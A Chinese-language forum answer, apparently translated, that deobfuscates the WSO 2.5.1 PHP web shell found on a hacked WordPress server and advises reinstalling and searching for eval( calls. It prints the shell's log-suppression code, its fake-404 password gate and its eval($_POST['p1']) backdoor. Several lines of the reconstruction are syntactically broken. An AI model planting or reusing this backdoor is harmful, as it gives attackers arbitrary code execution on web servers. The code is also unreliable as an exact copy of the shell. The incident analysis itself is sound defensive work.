我为您解混淆了使用 Ascii Escapes 编码的代码：

<?php 
        $GLOBALS["vrvweypznipu"]="a";
        $GLOBALS["griuefbdqc"]="auth_pass";
        $GLOBALS["ctxvtooknmju"]="v";
        $GLOBALS["pioykcea"]="default_use_ajax";
        $GLOBALS["iwirmxlqtvyp"]="default_action";
        $GLOBALS["dwembjc"]="color";
        $GLOBALS["dwembjc"]="#df5";
        $GLOBALS["iwirmxlqtvyp"]="FilesMan";

        $oboikuury="default_charset";

        $GLOBALS["pioykcea"]=true;

        $oboikuury = "Windows-1251";

        @ini_set("error_log",NULL);
        @ini_set("log_errors",0);
        @ini_set("max_execution_time",0);

        @set_time_limit(0);
        @set_magic_quotes_runtime(0);
        @define("WSO_VERSION","2.5.1");

        if(get_magic_quotes_gpc())
        {
            function WSOstripslashes($array)
            {
                $GLOBALS["zdizbsuefa"]="array";
                $cfnrvu="array";
                $GLOBALS["kcltlpds"]="array";

                return is_array($GLOBALS["zdizbsuefa"]) ? array_map("WSOstripslashes",$GLOBALS["kcltlpds"]) : stripslashes($cfnrvu);
            }

            $_POST = WSOstripslashes($_POST);
            $_COOKIE = WSOstripslashes($_COOKIE);
        }

        function wsoLogin()
        {
            header("HTTP/1.0 404 Not Found");
            die("404");
        }

        function WSOsetcookie($k,$v)
        {
            $GLOBALS["gvflxmt"]="k";
            $cjtmrt="v";
            $COOKIE[$GLOBALS["gvflxmt"]]=$
            {
                $GLOBALS["ctxvtooknmju"]
            };

            $raogrsixpi="k";

            setcookie($raogrsixpi,$cjtmrt);
        }

        $qyvsdolpq="auth_pass";

        if(!empty($qyvsdolpq))
        {
            $rhavvlolc="authpass";
            $ssfmrro="auth_pass";

            if (isset($_POST["pass"]) &&(md5($_POST["pass"])== $ssfmrro))
            {
                WSOsetcookie(md5($SERVER["HTTPHOST"]),$GLOBALS["griuefbdqc"]);
            }

            if(!isset($_COOKIE[md5($_SERVER["HTTP_HOST"])])||($_COOKIE[md5($_SERVER["HTTP_HOST"])]!= $rhavvlolc))
            {
                wsoLogin();
            }
        }

        function actionRC()
        {
            if(!@$_POST["p1"])
            {
                $ugtfpiyrum = "a";
                $GLOBALS["vrvweypznipu"] = array("uname"=>php_uname(), "php_version"=>phpversion(), "wso_version"=>WSO_VERSION, "safemode"=>@ini_get("safe_mode"));

                    echo serialize($ugtfpiyrum);
            }
            else
            {
                eval($_POST["p1"]);
            }
        }

        if(empty($POST["a"]))
            {
                $GLOBALS["isvexy"]="default_action";
                $GLOBALS["uoechymzddd"]="defaultaction";

                if(isset($GLOBALS["iwirmxlqtvyp"]) && function_exists("action".$GLOBALS["uoechymzddd"]))
                {
                    $_POST["a"]=$GLOBALS["isvexy"];

                    else
                    { 
                        $_POST["a"]="SecInfo";
                    }
                }
            }
    if(!empty($_POST["a"])&&function_exists("action".$_POST["a"]))
    {
        call_user_func("action".$_POST["a"]);
    }
    exit; 
?>

如您所见，它关闭了您的error logging，并且不允许您记录错误，然后将其设置max_execution_time为0. 从这些设置来看，它似乎试图阻止您在日志文件中发现是否存在错误，以及获取有关正在发生的事情的更多信息。

该max_execution_time变量与 一起set_time_limit(0)可用于允许脚本无限期运行。通常，这样做的目的是允许运行大型 SQL 查询。

那么它还有什么作用呢？

这里有这一行：

• eval($_POST["p1"]);（去混淆）
• eval($_POST["\x70\x31"]);（混淆）

...它允许攻击者在您的系统上执行他们想要的任何类型的 PHP 代码。在这一点上，你是完全不安全的，应该假设你的服务器上的一切都受到了损害。

该eval()行用于在您的网页中创建任意代码执行后门。这条线允许他们POST这样做：yourpage.php?p1=execute_dangerous_code_here，这是非常危险的。整个代码基于隐藏自身。如果你不发送 p1 变量，那么它会查找 PHP 版本等，并将其放入$GLOBALS["vrvweypznipu"]，因此它（可能）可以帮助找到其他漏洞。如果您确实发布它，它会执行代码并正常继续。

现在，这可能很容易出错——试图让你的任意代码工作——除非你事先对其进行了测试，但它不会让你知道是否有错误，因为它是disabled logging, 和errors.

我强烈建议从轨道上进行全新安装。恢复所有 WordPress 文件的备份。如果您没有备份，并且必须依赖服务器上的备份，那么您必须自己清理它们。

如果您知道如何编码，请在 PHP 文件中查找包含以下字符串的任何内容：“ eval($”，（甚至是“ eval(”）。您需要打开文件进行编辑以确保它们是合法的，如果不是，请删除包含它的所有文件。事实上，如果你看到这样的混淆代码，就假设它是一个 hack。几乎没有理由编写这样的代码。任何合法的服务都不应该这样做。

如果您是，正如您所提到的，“在这方面很新”，您将无法安全地消除黑客的影响。

从头开始：全新的服务器，全新的 WordPress 安装并保持所有这些都是最新的。您可以将文本/图像/视频数据导入回来。有很多关于如何强化服务器以及WordPress的资源。

正如@MarkHulkalo 所提到的，您始终可以保留离线副本并使用它来学习取证，以了解黑客攻击是如何发生的。